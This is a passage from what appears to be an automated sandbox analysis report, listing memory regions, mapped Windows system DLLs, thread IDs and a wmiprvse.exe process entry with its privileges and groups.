= 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 2608 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 2609 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 2744 start_va = 0x14c0000 end_va = 0x153ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000014c0000" filename = "" Region: id = 2745 start_va = 0x1860000 end_va = 0x18dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001860000" filename = "" Region: id = 2746 start_va = 0x1c30000 end_va = 0x1caffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001c30000" filename = "" Region: id = 2747 start_va = 0x1dc0000 end_va = 0x1e3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001dc0000" filename = "" Region: id = 2748 start_va = 0x1f10000 end_va = 0x1f8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f10000" filename = "" Region: id = 2749 start_va = 0x2430000 end_va = 0x24affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002430000" filename = "" Region: id = 2750 start_va = 0x2c10000 end_va = 0x2c8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002c10000" filename = "" Region: id = 2751 start_va = 0x2c90000 end_va = 0x2d0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002c90000" filename = "" Region: id = 2752 start_va = 0x35d0000 end_va = 0x364ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000035d0000" filename = "" Region: id = 2753 start_va = 0x37a0000 end_va = 0x381ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000037a0000" filename = "" Region: id = 2754 start_va = 0x3820000 end_va = 0x389ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003820000" filename = "" Region: id = 2755 start_va = 0x39b0000 end_va = 0x3a2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000039b0000" filename = "" Region: id = 2756 start_va = 0x7fffff66000 end_va = 0x7fffff67fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff66000" filename = "" Region: id = 2757 start_va = 0x7fffff68000 end_va = 0x7fffff69fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff68000" filename = "" Region: id = 2758 start_va = 0x7fffff6e000 end_va = 0x7fffff6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff6e000" filename = "" Region: id = 2759 start_va = 0x7fffff72000 end_va = 0x7fffff73fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff72000" filename = "" Region: id = 2760 start_va = 0x7fffff78000 end_va = 0x7fffff79fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff78000" filename = "" Region: id = 2761 start_va = 0x7fffff82000 end_va = 0x7fffff83fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff82000" filename = "" Region: id = 2762 start_va = 0x7fffff88000 end_va = 0x7fffff89fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff88000" filename = "" Region: id = 2763 start_va = 0x7fffff8a000 end_va = 0x7fffff8bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff8a000" filename = "" Region: id = 2764 start_va = 0x7fffff96000 end_va = 0x7fffff97fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff96000" filename = "" Region: id = 2765 start_va = 0x7fffffa4000 end_va = 0x7fffffa5fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa4000" filename = "" Region: id = 2766 start_va = 0x7fffffd4000 end_va = 0x7fffffd5fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd4000" filename = "" Region: id = 2767 start_va = 0x7fffffd6000 end_va = 0x7fffffd7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd6000" filename = "" Region: id = 3372 start_va = 0x14f0000 end_va = 0x156ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000014f0000" filename = "" Region: id = 3373 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 4831 start_va = 0x23e0000 end_va = 0x245ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023e0000" filename = "" Region: id = 4832 start_va = 0x7fef8770000 end_va = 0x7fef877bfff monitored = 0 entry_point = 0x7fef8771070 region_type = mapped_file name = "seclogon.dll" filename = "\\Windows\\System32\\seclogon.dll" (normalized: "c:\\windows\\system32\\seclogon.dll") Region: id = 4833 start_va = 0x7fffffd6000 end_va = 0x7fffffd7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd6000" filename = "" Region: id = 5929 start_va = 0x1dc0000 end_va = 0x1e3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001dc0000" filename = "" Region: id = 5930 start_va = 0x1f10000 end_va = 0x1f8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f10000" filename = "" Region: id = 5931 start_va = 0x2360000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002360000" filename = "" Region: id = 5932 start_va = 0x23f0000 end_va = 0x246ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023f0000" filename = "" Region: id = 5933 start_va = 0x2490000 end_va = 0x250ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002490000" filename = "" Region: id = 5934 start_va = 0x2560000 end_va = 0x25dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002560000" filename = "" Region: id = 5935 start_va = 0x2760000 end_va = 0x27dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002760000" filename = "" Region: id = 5936 start_va = 0x2850000 end_va = 0x28cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002850000" filename = "" Region: id = 5937 start_va = 0x7fffff86000 end_va = 0x7fffff87fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff86000" filename = "" Region: id = 5938 start_va = 0x7fffff88000 end_va = 0x7fffff89fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff88000" filename = "" Region: id = 5939 start_va = 0x7fffff8a000 end_va = 0x7fffff8bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff8a000" filename = "" Region: id = 5940 start_va = 0x7fffff92000 end_va = 0x7fffff93fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff92000" filename = "" Region: id = 5941 start_va = 0x7fffff96000 end_va = 0x7fffff97fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff96000" filename = "" Region: id = 5942 start_va = 0x7fffffa4000 end_va = 0x7fffffa5fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa4000" filename = "" Region: id = 5943 start_va = 0x7fffffd4000 end_va = 0x7fffffd5fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd4000" filename = "" Region: id = 5956 start_va = 0xa90000 end_va = 0xa92fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a90000" filename = "" Thread: id = 87 os_tid = 0x844 Thread: id = 88 os_tid = 0xe80 Thread: id = 89 os_tid = 0xe7c Thread: id = 90 os_tid = 0xe00 Thread: id = 91 os_tid = 0x8d8 Thread: id = 92 os_tid = 0x8d4 Thread: id = 93 os_tid = 0x8c4 Thread: id = 94 os_tid = 0x598 Thread: id = 95 os_tid = 0x410 Thread: id = 96 os_tid = 0x68c Thread: id = 97 os_tid = 0x3a0 Thread: id = 98 os_tid = 0x710 Thread: id = 99 os_tid = 0x698 Thread: id = 100 os_tid = 0x594 Thread: id = 101 os_tid = 0x66c Thread: id = 102 os_tid = 0x178 Thread: id = 103 os_tid = 0x6e4 Thread: id = 104 os_tid = 0x20c Thread: id = 105 os_tid = 0x408 Thread: id = 106 os_tid = 0x284 Thread: id = 107 os_tid = 0x784 Thread: id = 108 os_tid = 0x740 Thread: id = 109 os_tid = 0x738 Thread: id = 110 os_tid = 0x700 Thread: id = 111 os_tid = 0x6d4 Thread: id = 112 os_tid = 0x6c4 Thread: id = 113 os_tid = 0x6a4 Thread: id = 114 os_tid = 0x690 Thread: id = 115 os_tid = 0x67c Thread: id = 116 os_tid = 0x46c Thread: id = 117 os_tid = 0x464 Thread: id = 118 os_tid = 0x460 Thread: id = 119 os_tid = 0x440 Thread: id = 120 os_tid = 0x42c Thread: id = 121 os_tid = 0x3f8 Thread: id = 122 os_tid = 0x3e4 Thread: id = 123 os_tid = 0x3d8 Thread: id = 124 os_tid = 0x358 Thread: id = 125 os_tid = 0x354 Thread: id = 126 os_tid = 0x348 Thread: id = 127 os_tid = 0x340 Thread: id = 128 os_tid = 0x338 Thread: id = 149 os_tid = 0xd4c Thread: id = 150 os_tid = 0x870 Thread: id = 151 os_tid = 0xcbc Thread: id = 152 os_tid = 0xdb4 Thread: id = 153 os_tid = 0xdbc Thread: id = 154 os_tid = 0xc40 Thread: id = 155 os_tid = 0xc44 Thread: id = 156 os_tid = 0xd18 Thread: id = 157 os_tid = 0xd20 Thread: id = 158 os_tid = 0xd08 Thread: id = 159 os_tid = 0xd3c Thread: id = 160 os_tid = 0x234 Thread: id = 199 os_tid = 0xaf4 Thread: id = 203 os_tid = 0xb04 Thread: id = 204 os_tid = 0xb08 Thread: id = 205 os_tid = 0xb0c Thread: id = 456 os_tid = 0xdf4 Thread: id = 458 os_tid = 0xd90 Thread: id = 486 os_tid = 0xe1c Thread: id = 487 os_tid = 0xda8 Thread: id = 488 os_tid = 0xeec Thread: id = 489 os_tid = 0xda4 Thread: id = 490 os_tid = 0xd60 Thread: id = 491 os_tid = 0xd88 Thread: id = 498 os_tid = 0xef4 Process: id = "6" image_name = "wmiprvse.exe" filename = "c:\\windows\\system32\\wbem\\wmiprvse.exe" page_root = "0x4283e000" os_pid = "0xcc8" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "5" os_parent_pid = "0x248" cmd_line = "C:\\Windows\\system32\\wbem\\wmiprvse.exe -secured -Embedding" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Network Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "WMI (Network Service)" [0xf], "NT AUTHORITY\\Logon Session 00000000:00048a08" [0xc000000f] Region: id = 2629 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 2630 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 2631 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 2632 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 2633 start_va = 0x50000 end_va = 0x50fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 2634 start_va = 0x60000 end_va = 0x64fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "user32.dll.mui" filename = "\\Windows\\System32\\en-US\\user32.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\user32.dll.mui") Region: id = 2635 start_va = 0x70000 end_va = 0xeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000070000" filename = "" Region: id = 2636 start_va = 0xf0000 end_va = 0x156fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2637 start_va = 0x160000 end_va = 0x160fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000160000" filename = "" Region: id = 2638 start_va = 0x170000 end_va = 0x170fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000170000" filename = "" Region: id = 2639 start_va = 0x180000 end_va = 0x180fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000180000" filename = "" Region: id = 2640 start_va = 0x190000 end_va = 0x19cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "setupapi.dll.mui" filename = "\\Windows\\System32\\en-US\\setupapi.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\setupapi.dll.mui") Region: id = 2641 start_va = 0x1c0000 end_va = 0x1c2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cimwin32.dll.mui" filename = "\\Windows\\System32\\wbem\\en-US\\cimwin32.dll.mui" (normalized: "c:\\windows\\system32\\wbem\\en-us\\cimwin32.dll.mui") Region: id = 2642 start_va = 0x1e0000 end_va = 0x2dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 2643 start_va = 0x2e0000 end_va = 0x3dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002e0000" filename = "" Region: id = 2644 start_va = 0x3e0000 end_va = 0x49ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003e0000" filename = "" Region: id = 2645 start_va = 0x4a0000 end_va = 0x4affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004a0000" filename = "" Region: id = 2646 start_va = 0x4b0000 end_va = 0x637fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004b0000" filename = "" Region: id = 2647 start_va = 0x640000 end_va = 0x7c0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000640000" filename = "" Region: id = 2648 start_va = 0x7d0000 end_va = 0xa9efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2649 start_va = 0xaa0000 end_va = 0xb9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000aa0000" filename = "" Region: id = 2650 start_va = 0xbb0000 end_va = 0xc2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000bb0000" filename = "" Region: id = 2651 start_va = 0xc70000 end_va = 0xceffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c70000" filename = "" Region: id = 2652 start_va = 0xcf0000 end_va = 0xd6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000cf0000" filename = "" Region: id = 2653 start_va = 0xd90000 end_va = 0xe0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d90000" filename = "" Region: id = 2654 start_va = 0xe10000 end_va = 0xe8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e10000" filename = "" Region: id = 2655 start_va = 0xeb0000 end_va = 0xf2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000eb0000" filename = "" Region: id = 2656 start_va = 0xf90000 end_va = 0x100ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000f90000" filename = "" Region: id = 2657 start_va = 0x1090000 end_va = 0x110ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001090000" filename = "" Region: id = 2658 start_va = 0x72470000 end_va = 0x72472fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "security.dll" filename = "\\Windows\\System32\\security.dll" (normalized: "c:\\windows\\system32\\security.dll") Region: id = 2659 start_va = 0x72480000 end_va = 0x72482fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wmi.dll" filename = "\\Windows\\System32\\wmi.dll" (normalized: "c:\\windows\\system32\\wmi.dll") Region: id = 2660 start_va = 0x76c40000 end_va = 0x76d5efff monitored = 0 entry_point = 0x76c55340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 2661 start_va = 0x76d60000 end_va = 0x76e59fff monitored = 0 entry_point = 0x76d7a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 2662 start_va = 0x76e60000 end_va = 0x77008fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2663 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 2664 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 2665 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2666 start_va = 0x13fcc0000 end_va = 0x13fd2bfff monitored = 0 entry_point = 0x13fcfb450 region_type = mapped_file name = "wmiprvse.exe" filename = "\\Windows\\System32\\wbem\\WmiPrvSE.exe" (normalized: "c:\\windows\\system32\\wbem\\wmiprvse.exe") Region: id = 2667 start_va = 0x7feef9b0000 end_va = 0x7feefba9fff monitored = 0 entry_point = 0x7feef9c4c9c region_type = mapped_file name = "cimwin32.dll" filename = "\\Windows\\System32\\wbem\\cimwin32.dll" (normalized: "c:\\windows\\system32\\wbem\\cimwin32.dll") Region: id = 2668 start_va = 0x7fef02b0000 end_va = 0x7fef02b7fff monitored = 0 entry_point = 0x7fef02b11a0 region_type = mapped_file name = "winbrand.dll" filename = "\\Windows\\System32\\winbrand.dll" (normalized: "c:\\windows\\system32\\winbrand.dll") Region: id = 2669 start_va = 0x7fef0af0000 end_va = 0x7fef0af9fff monitored = 0 entry_point = 0x7fef0af31c8 region_type = mapped_file name = "schedcli.dll" filename = "\\Windows\\System32\\schedcli.dll" (normalized: "c:\\windows\\system32\\schedcli.dll") Region: id = 2670 start_va = 0x7fef0b00000 end_va = 0x7fef0b11fff monitored = 0 entry_point = 0x7fef0b0aab8 region_type = mapped_file name = "browcli.dll" filename = "\\Windows\\System32\\browcli.dll" (normalized: "c:\\windows\\system32\\browcli.dll") Region: id = 2671 start_va = 0x7fef4520000 end_va = 0x7fef4531fff monitored = 0 entry_point = 0x7fef45289d0 region_type = mapped_file name = "ncobjapi.dll" filename = "\\Windows\\System32\\ncobjapi.dll" (normalized: "c:\\windows\\system32\\ncobjapi.dll") Region: id = 2672 start_va = 0x7fef46e0000 end_va = 0x7fef4700fff monitored = 0 entry_point = 0x7fef46f03b0 region_type = mapped_file name = "wmiutils.dll" filename = "\\Windows\\System32\\wbem\\wmiutils.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiutils.dll") Region: id = 2673 start_va = 0x7fef4780000 end_va = 0x7fef4792fff monitored = 0 entry_point = 0x7fef4781d80 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\System32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll") Region: id = 2674 start_va = 0x7fef4a60000 end_va = 0x7fef4a86fff monitored = 0 entry_point = 0x7fef4a611a0 region_type = mapped_file name = "ntdsapi.dll" filename = "\\Windows\\System32\\ntdsapi.dll" (normalized: "c:\\windows\\system32\\ntdsapi.dll") Region: id = 2675 start_va = 0x7fef4a90000 end_va = 0x7fef4b62fff monitored = 0 entry_point = 0x7fef4b08b00 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\System32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll") Region: id = 2676 start_va = 0x7fef77d0000 end_va = 0x7fef77fbfff monitored = 0 entry_point = 0x7fef77e8194 region_type = mapped_file name = "wmipcima.dll" filename = "\\Windows\\System32\\wbem\\wmipcima.dll" (normalized: "c:\\windows\\system32\\wbem\\wmipcima.dll") Region: id = 2677 start_va = 0x7fef84d0000 end_va = 0x7fef8512fff monitored = 0 entry_point = 0x7fef84f1b50 region_type = mapped_file name = "framedynos.dll" filename = "\\Windows\\System32\\framedynos.dll" (normalized: "c:\\windows\\system32\\framedynos.dll") Region: id = 2678 start_va = 0x7fef8940000 end_va = 0x7fef894efff monitored = 0 entry_point = 0x7fef8941040 region_type = mapped_file name = "cscapi.dll" filename = "\\Windows\\System32\\cscapi.dll" (normalized: "c:\\windows\\system32\\cscapi.dll") Region: id = 2679 start_va = 0x7fefa960000 end_va = 0x7fefa96bfff monitored = 0 entry_point = 0x7fefa9615d8 region_type = mapped_file name = "dsrole.dll" filename = "\\Windows\\System32\\dsrole.dll" (normalized: "c:\\windows\\system32\\dsrole.dll") Region: id = 2680 start_va = 0x7fefad20000 end_va = 0x7fefad2dfff monitored = 0 entry_point = 0x7fefad25500 region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\System32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll") Region: id = 2681 start_va = 0x7fefadf0000 end_va = 0x7fefae66fff monitored = 0 entry_point = 0x7fefae2e7f0 region_type = mapped_file name = "wbemcomn2.dll" filename = "\\Windows\\System32\\wbemcomn2.dll" (normalized: "c:\\windows\\system32\\wbemcomn2.dll") Region: id = 2682 start_va = 0x7fefae70000 end_va = 0x7fefae83fff monitored = 0 entry_point = 0x7fefae716b4 region_type = mapped_file name = "samcli.dll" filename = "\\Windows\\System32\\samcli.dll" (normalized: "c:\\windows\\system32\\samcli.dll") Region: id = 2683 start_va = 0x7fefae90000 end_va = 0x7fefaea4fff monitored = 0 entry_point = 0x7fefae91050 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 2684 start_va = 0x7fefaeb0000 end_va = 0x7fefaebbfff monitored = 0 entry_point = 0x7fefaeb18a4 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 2685 start_va = 0x7fefaec0000 end_va = 0x7fefaed5fff monitored = 0 entry_point = 0x7fefaec11a0 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 2686 start_va = 0x7fefaff0000 end_va = 0x7fefb000fff monitored = 0 entry_point = 0x7fefaff1070 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 2687 start_va = 0x7fefbcc0000 end_va = 0x7fefbcebfff monitored = 0 entry_point = 0x7fefbcc15c4 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll") Region: id = 2688 start_va = 0x7fefbda0000 end_va = 0x7fefbdccfff monitored = 0 entry_point = 0x7fefbda1010 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 2689 start_va = 0x7fefc2a0000 end_va = 0x7fefc2a9fff monitored = 0 entry_point = 0x7fefc2a3cb8 region_type = mapped_file name = "credssp.dll" filename = "\\Windows\\System32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll") Region: id = 2690 start_va = 0x7fefc3a0000 end_va = 0x7fefc3e6fff monitored = 0 entry_point = 0x7fefc3a1064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 2691 start_va = 0x7fefc430000 end_va = 0x7fefc486fff monitored = 0 entry_point = 0x7fefc435e38 region_type = mapped_file name = "schannel.dll" filename = "\\Windows\\System32\\schannel.dll" (normalized: "c:\\windows\\system32\\schannel.dll") Region: id = 2692 start_va = 0x7fefc490000 end_va = 0x7fefc4bffff monitored = 0 entry_point = 0x7fefc49194c region_type = mapped_file name = "logoncli.dll" filename = "\\Windows\\System32\\logoncli.dll" (normalized: "c:\\windows\\system32\\logoncli.dll") Region: id = 2693 start_va = 0x7fefc6a0000 end_va = 0x7fefc6b7fff monitored = 0 entry_point = 0x7fefc6a3b48 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 2694 start_va = 0x7fefc810000 end_va = 0x7fefc831fff monitored = 0 entry_point = 0x7fefc815d30 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 2695 start_va = 0x7fefcba0000 end_va = 0x7fefcbc2fff monitored = 0 entry_point = 0x7fefcba1198 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 2696 start_va = 0x7fefcc40000 end_va = 0x7fefcc4afff monitored = 0 entry_point = 0x7fefcc41030 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll") Region: id = 2697 start_va = 0x7fefcc70000 end_va = 0x7fefcc94fff monitored = 0 entry_point = 0x7fefcc79658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 2698 start_va = 0x7fefcca0000 end_va = 0x7fefccaefff monitored = 0 entry_point = 0x7fefcca1010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 2699 start_va = 0x7fefcd50000 end_va = 0x7fefcd8cfff monitored = 0 entry_point = 0x7fefcd518f4 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 2700 start_va = 0x7fefcd90000 end_va = 0x7fefcda3fff monitored = 0 entry_point = 0x7fefcd910e0 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 2701 start_va = 0x7fefce50000 end_va = 0x7fefce5efff monitored = 0 entry_point = 0x7fefce51020 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 2702 start_va = 0x7fefce60000 end_va = 0x7fefcecbfff monitored = 0 entry_point = 0x7fefce62780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 2703 start_va = 0x7fefced0000 end_va = 0x7fefcf05fff monitored = 0 entry_point = 0x7fefced1474 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 2704 start_va = 0x7fefcf10000 end_va = 0x7fefcf29fff monitored = 0 entry_point = 0x7fefcf11558 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 2705 start_va = 0x7fefcf30000 end_va = 0x7fefcf6afff monitored = 0 entry_point = 0x7fefcf31324 region_type = mapped_file name = "wintrust.dll" filename = "\\Windows\\System32\\wintrust.dll" (normalized: "c:\\windows\\system32\\wintrust.dll") Region: id = 2706 start_va = 0x7fefcf70000 end_va = 0x7fefd0dcfff monitored = 0 entry_point = 0x7fefcf710b4 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 2707 start_va = 0x7fefd180000 end_va = 0x7fefd382fff monitored = 0 entry_point = 0x7fefd1a3330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 2708 start_va = 0x7fefd390000 end_va = 0x7fefd3bdfff monitored = 0 entry_point = 0x7fefd391010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2709 start_va = 0x7fefd3c0000 end_va = 0x7fefd49afff monitored = 0 entry_point = 0x7fefd3e0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 2710 start_va = 0x7fefd4a0000 end_va = 0x7fefd5ccfff monitored = 0 entry_point = 0x7fefd4eed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 2711 start_va = 0x7fefd650000 end_va = 0x7fefd758fff monitored = 0 entry_point = 0x7fefd651064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 2712 start_va = 0x7fefd760000 end_va = 0x7fefd7b1fff monitored = 0 entry_point = 0x7fefd7610d4 region_type = mapped_file name = "wldap32.dll" 